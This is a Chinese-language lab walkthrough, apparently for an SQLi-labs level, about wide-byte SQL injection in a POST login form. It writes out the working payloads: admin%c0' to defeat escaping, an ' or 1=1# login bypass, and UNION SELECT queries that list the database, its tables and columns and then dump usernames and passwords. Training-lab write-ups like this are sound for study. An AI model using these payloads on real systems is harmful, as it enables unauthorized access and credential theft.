这一关虽然属于宽字节注入 但是回归了post请求了 而且欢迎界面还是存在转义之后的样子和十六进制的样子
首先我们试试在username处输入admin' 转义之后变成了admin\'
所以我们进行宽字节注入将注入修改为admin%c0' 结果界面还是没有反应奇怪了我们抓包试试咯
抓包后的bp界面如下所示
看了以后瞬间懂了 原来是他会在我们的%c0前面加上了一个25 所以我们需要将其删除即可
这样我们就能够看见报错信息了 如下所示
我们佐证一下我们的单引号想法吧
输入如下
admin%c0'--+
还是报错了 为什么呢? 不懂为什么 看了看源代码也没有将注释符号进行过滤啊 所以我们加一个万能密码
输入如下
admin%c0' or 1=1#
回显如下
奇怪了哦 为什么只输出了一行数据 哦查看源代码发现虽然limit 0,1被注释掉了 但是后面还有一个mysql_fetch_array()函数 这个函数是从多个行组成的结果集中取出一行返回 也难怪只取了一行数据进行回显
然后我们知道了这个注入类型为单引号注入 接下来进行爆库操作 我选择联合注入
在进行爆库操作之前先进行回显点的判断
输入如下
admin%c0' union select 1,2 or 1=1#
回显如下
这样看不出来回显点在哪里 我们得多试几个数 将1,2换成2,3
这下就是到只有login name为回显位了
然后开始爆库 输入如下
admin%c0' union select database(),2 or 1=1#
回显如下
进行报表操作 输入如下
admin%c0' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() and 1=1#
回显如下
爆字段 输入如下
admin%c0' union select group_concat(column_name),2 from information_schema.columns where table_name=0x7573657273 and table_schema=database() and 1=1#
回显如下
爆用户名和密码相关信息 输入如下
admin%c0' union select group_concat(username,password),2 from users where 1=1#
回显如下
最后我又发现了 除了那一处佐证单引号的步骤不能通过注释操作其他步骤都可以通过注释符进行注释 我也不懂为什么会这样啊 嗨嗨!!